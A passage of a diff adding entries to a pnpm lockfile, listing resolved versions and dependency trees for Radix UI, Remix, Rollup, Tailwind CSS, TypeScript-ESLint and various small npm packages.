'@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-select@2.2.6(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/number': 1.1.1 + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-collection': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-direction': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-focus-guards': 1.1.3(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-popper': 1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-portal': 1.1.9(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-previous': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-visually-hidden': 1.2.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + aria-hidden: 1.2.6 + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + react-remove-scroll: 2.7.2(@types/react@18.3.28)(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-separator@1.1.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/react-primitive': 2.1.4(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-slot@1.2.3(@types/react@18.3.28)(react@19.2.4)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-slot@1.2.4(@types/react@18.3.28)(react@19.2.4)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-tabs@1.1.13(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-direction': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-presence': 1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-roving-focus': 1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-tooltip@1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-popper': 1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-portal': 1.1.9(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-presence': 1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-visually-hidden': 1.2.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-use-callback-ref@1.1.1(@types/react@18.3.28)(react@19.2.4)': + dependencies: + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-use-controllable-state@1.2.2(@types/react@18.3.28)(react@19.2.4)': + dependencies: + '@radix-ui/react-use-effect-event': 0.0.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-use-effect-event@0.0.2(@types/react@18.3.28)(react@19.2.4)': + dependencies: + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-use-escape-keydown@1.1.1(@types/react@18.3.28)(react@19.2.4)': + dependencies: + '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-use-layout-effect@1.1.1(@types/react@18.3.28)(react@19.2.4)': + dependencies: + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-use-previous@1.1.1(@types/react@18.3.28)(react@19.2.4)': + dependencies: + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-use-rect@1.1.1(@types/react@18.3.28)(react@19.2.4)': + dependencies: + '@radix-ui/rect': 1.1.1 + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-use-size@1.1.1(@types/react@18.3.28)(react@19.2.4)': + dependencies: + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-visually-hidden@1.2.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/rect@1.1.1': {} + + '@remix-run/dev@2.17.4(@remix-run/react@2.17.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1)(typescript@5.9.3))(@remix-run/serve@2.17.4(typescript@5.9.3))(@types/node@25.3.2)(lightningcss@1.32.0)(typescript@5.9.3)(vite@5.4.21(@types/node@25.3.2)(lightningcss@1.32.0))': + dependencies: + '@babel/core': 7.29.0 + '@babel/generator': 7.29.1 + '@babel/parser': 7.29.0 + '@babel/plugin-syntax-decorators': 7.28.6(@babel/core@7.29.0) + '@babel/plugin-syntax-jsx': 7.28.6(@babel/core@7.29.0) + '@babel/preset-typescript': 7.28.5(@babel/core@7.29.0) + '@babel/traverse': 7.29.0 + '@babel/types': 7.29.0 + '@mdx-js/mdx': 2.3.0 + '@npmcli/package-json': 4.0.1 + '@remix-run/node': 2.17.4(typescript@5.9.3) + '@remix-run/react': 2.17.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1)(typescript@5.9.3) + '@remix-run/router': 1.23.2 + '@remix-run/server-runtime': 2.17.4(typescript@5.9.3) + '@types/mdx': 2.0.13 + '@vanilla-extract/integration': 6.5.0(@types/node@25.3.2)(lightningcss@1.32.0) + arg: 5.0.2 + cacache: 17.1.4 + chalk: 4.1.2 + chokidar: 3.6.0 + cross-spawn: 7.0.6 + dotenv: 16.6.1 + es-module-lexer: 1.7.0 + esbuild: 0.17.6 + esbuild-plugins-node-modules-polyfill: 1.8.1(esbuild@0.17.6) + execa: 5.1.1 + exit-hook: 2.2.1 + express: 4.22.1 + fs-extra: 10.1.0 + get-port: 5.1.1 + gunzip-maybe: 1.4.2 + jsesc: 3.0.2 + json5: 2.2.3 + lodash: 4.17.23 + lodash.debounce: 4.0.8 + minimatch: 9.0.9 + ora: 5.4.1 + pathe: 1.1.2 + picocolors: 1.1.1 + picomatch: 2.3.1 + pidtree: 0.6.0 + postcss: 8.5.8 + postcss-discard-duplicates: 5.1.0(postcss@8.5.8) + postcss-load-config: 4.0.2(postcss@8.5.8) + postcss-modules: 6.0.1(postcss@8.5.8) + prettier: 2.8.8 + pretty-ms: 7.0.1 + react-refresh: 0.14.2 + remark-frontmatter: 4.0.1 + remark-mdx-frontmatter: 1.1.1 + semver: 7.7.4 + set-cookie-parser: 2.7.2 + tar-fs: 2.1.4 + tsconfig-paths: 4.2.0 + valibot: 1.2.0(typescript@5.9.3) + vite-node: 3.2.4(@types/node@25.3.2)(lightningcss@1.32.0) + ws: 7.5.10 + optionalDependencies: + '@remix-run/serve': 2.17.4(typescript@5.9.3) + typescript: 5.9.3 + vite: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) + transitivePeerDependencies: + - '@types/node' + - babel-plugin-macros + - bluebird + - bufferutil + - less + - lightningcss + - sass + - sass-embedded + - stylus + - sugarss + - supports-color + - terser + - ts-node + - utf-8-validate + + '@remix-run/express@2.17.4(express@4.22.1)(typescript@5.9.3)': + dependencies: + '@remix-run/node': 2.17.4(typescript@5.9.3) + express: 4.22.1 + optionalDependencies: + typescript: 5.9.3 + + '@remix-run/node@2.17.4(typescript@5.9.3)': + dependencies: + '@remix-run/server-runtime': 2.17.4(typescript@5.9.3) + '@remix-run/web-fetch': 4.4.2 + '@web3-storage/multipart-parser': 1.0.0 + cookie-signature: 1.2.2 + source-map-support: 0.5.21 + stream-slice: 0.1.2 + undici: 6.23.0 + optionalDependencies: + typescript: 5.9.3 + + '@remix-run/react@2.17.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1)(typescript@5.9.3)': + dependencies: + '@remix-run/router': 1.23.2 + '@remix-run/server-runtime': 2.17.4(typescript@5.9.3) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + react-router: 6.30.3(react@18.3.1) + react-router-dom: 6.30.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + turbo-stream: 2.4.1 + optionalDependencies: + typescript: 5.9.3 + + '@remix-run/router@1.23.2': {} + + '@remix-run/serve@2.17.4(typescript@5.9.3)': + dependencies: + '@remix-run/express': 2.17.4(express@4.22.1)(typescript@5.9.3) + '@remix-run/node': 2.17.4(typescript@5.9.3) + chokidar: 3.6.0 + compression: 1.8.1 + express: 4.22.1 + get-port: 5.1.1 + morgan: 1.10.1 + source-map-support: 0.5.21 + transitivePeerDependencies: + - supports-color + - typescript + + '@remix-run/server-runtime@2.17.4(typescript@5.9.3)': + dependencies: + '@remix-run/router': 1.23.2 + '@types/cookie': 0.6.0 + '@web3-storage/multipart-parser': 1.0.0 + cookie: 0.7.2 + set-cookie-parser: 2.7.2 + source-map: 0.7.6 + turbo-stream: 2.4.1 + optionalDependencies: + typescript: 5.9.3 + + '@remix-run/web-blob@3.1.0': + dependencies: + '@remix-run/web-stream': 1.1.0 + web-encoding: 1.1.5 + + '@remix-run/web-fetch@4.4.2': + dependencies: + '@remix-run/web-blob': 3.1.0 + '@remix-run/web-file': 3.1.0 + '@remix-run/web-form-data': 3.1.0 + '@remix-run/web-stream': 1.1.0 + '@web3-storage/multipart-parser': 1.0.0 + abort-controller: 3.0.0 + data-uri-to-buffer: 3.0.1 + mrmime: 1.0.1 + + '@remix-run/web-file@3.1.0': + dependencies: + '@remix-run/web-blob': 3.1.0 + + '@remix-run/web-form-data@3.1.0': + dependencies: + web-encoding: 1.1.5 + + '@remix-run/web-stream@1.1.0': + dependencies: + web-streams-polyfill: 3.3.3 + + '@rollup/plugin-commonjs@29.0.2(rollup@4.60.0)': + dependencies: + '@rollup/pluginutils': 5.3.0(rollup@4.60.0) + commondir: 1.0.1 + estree-walker: 2.0.2 + fdir: 6.5.0(picomatch@4.0.3) + is-reference: 1.2.1 + magic-string: 0.30.21 + picomatch: 4.0.3 + optionalDependencies: + rollup: 4.60.0 + + '@rollup/plugin-node-resolve@15.3.1(rollup@4.60.0)': + dependencies: + '@rollup/pluginutils': 5.3.0(rollup@4.60.0) + '@types/resolve': 1.20.2 + deepmerge: 4.3.1 + is-module: 1.0.0 + resolve: 1.22.11 + optionalDependencies: + rollup: 4.60.0 + + '@rollup/plugin-typescript@11.1.6(rollup@4.60.0)(tslib@2.8.1)(typescript@5.9.3)': + dependencies: + '@rollup/pluginutils': 5.3.0(rollup@4.60.0) + resolve: 1.22.11 + typescript: 5.9.3 + optionalDependencies: + rollup: 4.60.0 + tslib: 2.8.1 + + '@rollup/pluginutils@5.3.0(rollup@4.60.0)': + dependencies: + '@types/estree': 1.0.8 + estree-walker: 2.0.2 + picomatch: 4.0.3 + optionalDependencies: + rollup: 4.60.0 + + '@rollup/rollup-android-arm-eabi@4.60.0': + optional: true + + '@rollup/rollup-android-arm64@4.60.0': + optional: true + + '@rollup/rollup-darwin-arm64@4.60.0': + optional: true + + '@rollup/rollup-darwin-x64@4.60.0': + optional: true + + '@rollup/rollup-freebsd-arm64@4.60.0': + optional: true + + '@rollup/rollup-freebsd-x64@4.60.0': + optional: true + + '@rollup/rollup-linux-arm-gnueabihf@4.60.0': + optional: true + + '@rollup/rollup-linux-arm-musleabihf@4.60.0': + optional: true + + '@rollup/rollup-linux-arm64-gnu@4.60.0': + optional: true + + '@rollup/rollup-linux-arm64-musl@4.60.0': + optional: true + + '@rollup/rollup-linux-loong64-gnu@4.60.0': + optional: true + + '@rollup/rollup-linux-loong64-musl@4.60.0': + optional: true + + '@rollup/rollup-linux-ppc64-gnu@4.60.0': + optional: true + + '@rollup/rollup-linux-ppc64-musl@4.60.0': + optional: true + + '@rollup/rollup-linux-riscv64-gnu@4.60.0': + optional: true + + '@rollup/rollup-linux-riscv64-musl@4.60.0': + optional: true + + '@rollup/rollup-linux-s390x-gnu@4.60.0': + optional: true + + '@rollup/rollup-linux-x64-gnu@4.60.0': + optional: true + + '@rollup/rollup-linux-x64-musl@4.60.0': + optional: true + + '@rollup/rollup-openbsd-x64@4.60.0': + optional: true + + '@rollup/rollup-openharmony-arm64@4.60.0': + optional: true + + '@rollup/rollup-win32-arm64-msvc@4.60.0': + optional: true + + '@rollup/rollup-win32-ia32-msvc@4.60.0': + optional: true + + '@rollup/rollup-win32-x64-gnu@4.60.0': + optional: true + + '@rollup/rollup-win32-x64-msvc@4.60.0': + optional: true + + '@tailwindcss/node@4.2.2': + dependencies: + '@jridgewell/remapping': 2.3.5 + enhanced-resolve: 5.20.1 + jiti: 2.6.1 + lightningcss: 1.32.0 + magic-string: 0.30.21 + source-map-js: 1.2.1 + tailwindcss: 4.2.2 + + '@tailwindcss/oxide-android-arm64@4.2.2': + optional: true + + '@tailwindcss/oxide-darwin-arm64@4.2.2': {} + + '@tailwindcss/oxide-darwin-x64@4.2.2': + optional: true + + '@tailwindcss/oxide-freebsd-x64@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-arm64-musl@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-x64-gnu@4.2.2': + optional: true + + '@tailwindcss/oxide-linux-x64-musl@4.2.2': + optional: true + + '@tailwindcss/oxide-wasm32-wasi@4.2.2': + optional: true + + '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': + optional: true + + '@tailwindcss/oxide-win32-x64-msvc@4.2.2': + optional: true + + '@tailwindcss/oxide@4.2.2': + optionalDependencies: + '@tailwindcss/oxide-android-arm64': 4.2.2 + '@tailwindcss/oxide-darwin-arm64': 4.2.2 + '@tailwindcss/oxide-darwin-x64': 4.2.2 + '@tailwindcss/oxide-freebsd-x64': 4.2.2 + '@tailwindcss/oxide-linux-arm-gnueabihf': 4.2.2 + '@tailwindcss/oxide-linux-arm64-gnu': 4.2.2 + '@tailwindcss/oxide-linux-arm64-musl': 4.2.2 + '@tailwindcss/oxide-linux-x64-gnu': 4.2.2 + '@tailwindcss/oxide-linux-x64-musl': 4.2.2 + '@tailwindcss/oxide-wasm32-wasi': 4.2.2 + '@tailwindcss/oxide-win32-arm64-msvc': 4.2.2 + '@tailwindcss/oxide-win32-x64-msvc': 4.2.2 + + '@tailwindcss/postcss@4.2.2': + dependencies: + '@alloc/quick-lru': 5.2.0 + '@tailwindcss/node': 4.2.2 + '@tailwindcss/oxide': 4.2.2 + postcss: 8.5.8 + tailwindcss: 4.2.2 + + '@tailwindcss/vite@4.2.2(vite@5.4.21(@types/node@25.3.2)(lightningcss@1.32.0))': + dependencies: + '@tailwindcss/node': 4.2.2 + '@tailwindcss/oxide': 4.2.2 + tailwindcss: 4.2.2 + vite: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) + + '@trysound/sax@0.2.0': {} + + '@types/acorn@4.0.6': + dependencies: + '@types/estree': 1.0.8 + + '@types/cookie@0.6.0': {} + + '@types/debug@4.1.12': + dependencies: + '@types/ms': 2.1.0 + + '@types/estree-jsx@1.0.5': + dependencies: + '@types/estree': 1.0.8 + + '@types/estree@1.0.8': {} + + '@types/hast@2.3.10': + dependencies: + '@types/unist': 2.0.11 + + '@types/js-yaml@4.0.9': {} + + '@types/json-schema@7.0.15': {} + + '@types/mdast@3.0.15': + dependencies: + '@types/unist': 2.0.11 + + '@types/mdx@2.0.13': {} + + '@types/ms@2.1.0': {} + + '@types/node@25.3.2': + dependencies: + undici-types: 7.18.2 + + '@types/prop-types@15.7.15': {} + + '@types/react-dom@18.3.7(@types/react@18.3.28)': + dependencies: + '@types/react': 18.3.28 + + '@types/react@18.3.28': + dependencies: + '@types/prop-types': 15.7.15 + csstype: 3.2.3 + + '@types/resolve@1.20.2': {} + + '@types/semver@7.7.1': {} + + '@types/trusted-types@2.0.7': + optional: true + + '@types/unist@2.0.11': {} + + '@typescript-eslint/eslint-plugin@6.21.0(@typescript-eslint/parser@6.21.0(eslint@8.57.1)(typescript@5.9.3))(eslint@8.57.1)(typescript@5.9.3)': + dependencies: + '@eslint-community/regexpp': 4.12.2 + '@typescript-eslint/parser': 6.21.0(eslint@8.57.1)(typescript@5.9.3) + '@typescript-eslint/scope-manager': 6.21.0 + '@typescript-eslint/type-utils': 6.21.0(eslint@8.57.1)(typescript@5.9.3) + '@typescript-eslint/utils': 6.21.0(eslint@8.57.1)(typescript@5.9.3) + '@typescript-eslint/visitor-keys': 6.21.0 + debug: 4.4.3 + eslint: 8.57.1 + graphemer: 1.4.0 + ignore: 5.3.2 + natural-compare: 1.4.0 + semver: 7.7.4 + ts-api-utils: 1.4.3(typescript@5.9.3) + optionalDependencies: + typescript: 5.9.3 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/parser@6.21.0(eslint@8.57.1)(typescript@5.9.3)': + dependencies: + '@typescript-eslint/scope-manager': 6.21.0 + '@typescript-eslint/types': 6.21.0 + '@typescript-eslint/typescript-estree': 6.21.0(typescript@5.9.3) + '@typescript-eslint/visitor-keys': 6.21.0 + debug: 4.4.3 + eslint: 8.57.1 + optionalDependencies: + typescript: 5.9.3 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/scope-manager@6.21.0': + dependencies: + '@typescript-eslint/types': 6.21.0 + '@typescript-eslint/visitor-keys': 6.21.0 + + '@typescript-eslint/type-utils@6.21.0(eslint@8.57.1)(typescript@5.9.3)': + dependencies: + '@typescript-eslint/typescript-estree': 6.21.0(typescript@5.9.3) + '@typescript-eslint/utils': 6.21.0(eslint@8.57.1)(typescript@5.9.3) + debug: 4.4.3 + eslint: 8.57.1 + ts-api-utils: 1.4.3(typescript@5.9.3) + optionalDependencies: + typescript: 5.9.3 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/types@6.21.0': {} + + '@typescript-eslint/typescript-estree@6.21.0(typescript@5.9.3)': + dependencies: + '@typescript-eslint/types': 6.21.0 + '@typescript-eslint/visitor-keys': 6.21.0 + debug: 4.4.3 + globby: 11.1.0 + is-glob: 4.0.3 + minimatch: 9.0.3 + semver: 7.7.4 + ts-api-utils: 1.4.3(typescript@5.9.3) + optionalDependencies: + typescript: 5.9.3 + transitivePeerDependencies: + - supports-color + + '@typescript-eslint/utils@6.21.0(eslint@8.57.1)(typescript@5.9.3)': + dependencies: + '@eslint-community/eslint-utils': 4.9.1(eslint@8.57.1) + '@types/json-schema': 7.0.15 + '@types/semver': 7.7.1 + '@typescript-eslint/scope-manager': 6.21.0 + '@typescript-eslint/types': 6.21.0 + '@typescript-eslint/typescript-estree': 6.21.0(typescript@5.9.3) + eslint: 8.57.1 + semver: 7.7.4 + transitivePeerDependencies: + - supports-color + - typescript + + '@typescript-eslint/visitor-keys@6.21.0': + dependencies: + '@typescript-eslint/types': 6.21.0 + eslint-visitor-keys: 3.4.3 + + '@ungap/structured-clone@1.3.0': {} + + '@vanilla-extract/babel-plugin-debug-ids@1.2.2': + dependencies: + '@babel/core': 7.29.0 + transitivePeerDependencies: + - supports-color + + '@vanilla-extract/css@1.18.0': + dependencies: + '@emotion/hash': 0.9.2 + '@vanilla-extract/private': 1.0.9 + css-what: 6.2.2 + cssesc: 3.0.0 + csstype: 3.2.3 + dedent: 1.7.1 + deep-object-diff: 1.1.9 + deepmerge: 4.3.1 + lru-cache: 10.4.3 + media-query-parser: 2.0.2 + modern-ahocorasick: 1.1.0 + picocolors: 1.1.1 + transitivePeerDependencies: + - babel-plugin-macros + + '@vanilla-extract/integration@6.5.0(@types/node@25.3.2)(lightningcss@1.32.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/plugin-syntax-typescript': 7.28.6(@babel/core@7.29.0) + '@vanilla-extract/babel-plugin-debug-ids': 1.2.2 + '@vanilla-extract/css': 1.18.0 + esbuild: 0.17.6 + eval: 0.1.8 + find-up: 5.0.0 + javascript-stringify: 2.1.0 + lodash: 4.17.23 + mlly: 1.8.0 + outdent: 0.8.0 + vite: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) + vite-node: 1.6.1(@types/node@25.3.2)(lightningcss@1.32.0) + transitivePeerDependencies: + - '@types/node' + - babel-plugin-macros + - less + - lightningcss + - sass + - sass-embedded + - stylus + - sugarss + - supports-color + - terser + + '@vanilla-extract/private@1.0.9': {} + + '@web3-storage/multipart-parser@1.0.0': {} + + '@zxing/text-encoding@0.9.0': + optional: true + + abort-controller@3.0.0: + dependencies: + event-target-shim: 5.0.1 + + accepts@1.3.8: + dependencies: + mime-types: 2.1.35 + negotiator: 0.6.3 + + acorn-jsx@5.3.2(acorn@8.16.0): + dependencies: + acorn: 8.16.0 + + acorn@8.16.0: {} + + aggregate-error@3.1.0: + dependencies: + clean-stack: 2.2.0 + indent-string: 4.0.0 + + ajv@6.14.0: + dependencies: + fast-deep-equal: 3.1.3 + fast-json-stable-stringify: 2.1.0 + json-schema-traverse: 0.4.1 + uri-js: 4.4.1 + + ansi-regex@5.0.1: {} + + ansi-regex@6.2.2: {} + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + ansi-styles@6.2.3: {} + + anymatch@3.1.3: + dependencies: + normalize-path: 3.0.0 + picomatch: 2.3.1 + + arg@5.0.2: {} + + argparse@2.0.1: {} + + aria-hidden@1.2.6: + dependencies: + tslib: 2.8.1 + + array-buffer-byte-length@1.0.2: + dependencies: + call-bound: 1.0.4 + is-array-buffer: 3.0.5 + + array-flatten@1.1.1: {} + + array-includes@3.1.9: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-abstract: 1.24.1 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + is-string: 1.1.1 + math-intrinsics: 1.1.0 + + array-union@2.1.0: {} + + array.prototype.findlast@1.2.5: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + es-shim-unscopables: 1.1.0 + + array.prototype.flat@1.3.3: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.1 + es-shim-unscopables: 1.1.0 + + array.prototype.flatmap@1.3.3: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.1 + es-shim-unscopables: 1.1.0 + + array.prototype.tosorted@1.1.4: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.1 + es-errors: 1.3.0 + es-shim-unscopables: 1.1.0 + + arraybuffer.prototype.slice@1.0.4: + dependencies: + array-buffer-byte-length: 1.0.2 + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.1 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + is-array-buffer: 3.0.5 + + astring@1.9.0: {} + + async-function@1.0.0: {} + + autoprefixer@10.4.27(postcss@8.5.8): + dependencies: + browserslist: 4.28.1 + caniuse-lite: 1.0.30001774 + fraction.js: 5.3.4 + picocolors: 1.1.1 + postcss: 8.5.8 + postcss-value-parser: 4.2.0 + + available-typed-arrays@1.0.7: + dependencies: + possible-typed-array-names: 1.1.0 + + bail@2.0.2: {} + + balanced-match@1.0.2: {} + + base64-js@1.5.1: {} + + baseline-browser-mapping@2.10.0: {} + + basic-auth@2.0.1: + dependencies: + safe-buffer: 5.1.2 + + binary-extensions@2.3.0: {} + + bl@4.1.0: + dependencies: + buffer: 5.7.1 + inherits: 2.0.4 + readable-stream: 3.6.2 + + body-parser@1.20.4: + dependencies: + bytes: 3.1.2 + content-type: 1.0.5 + debug: 2.6.9 + depd: 2.0.0 + destroy: 1.2.0 + http-errors: 2.0.1 + iconv-lite: 0.4.24 + on-finished: 2.4.1 + qs: 6.14.2 + raw-body: 2.5.3 + type-is: 1.6.18 + unpipe: 1.0.0 + transitivePeerDependencies: + - supports-color + + boolbase@1.0.0: {} + + brace-expansion@1.1.12: + dependencies: + balanced-match: 1.0.2 + concat-map: 0.0.1 + + brace-expansion@2.0.2: + dependencies: + balanced-match: 1.0.2 + + braces@3.0.3: + dependencies: + fill-range: 7.1.1 + + browserify-zlib@0.1.4: + dependencies: + pako: 0.2.9 + + browserslist@4.28.1: + dependencies: + baseline-browser-mapping: 2.10.0 + caniuse-lite: 1.0.30001774 + electron-to-chromium: 1.5.302 + node-releases: 2.0.27 + update-browserslist-db: 1.2.3(browserslist@4.28.1) + + buffer-from@1.1.2: {} + + 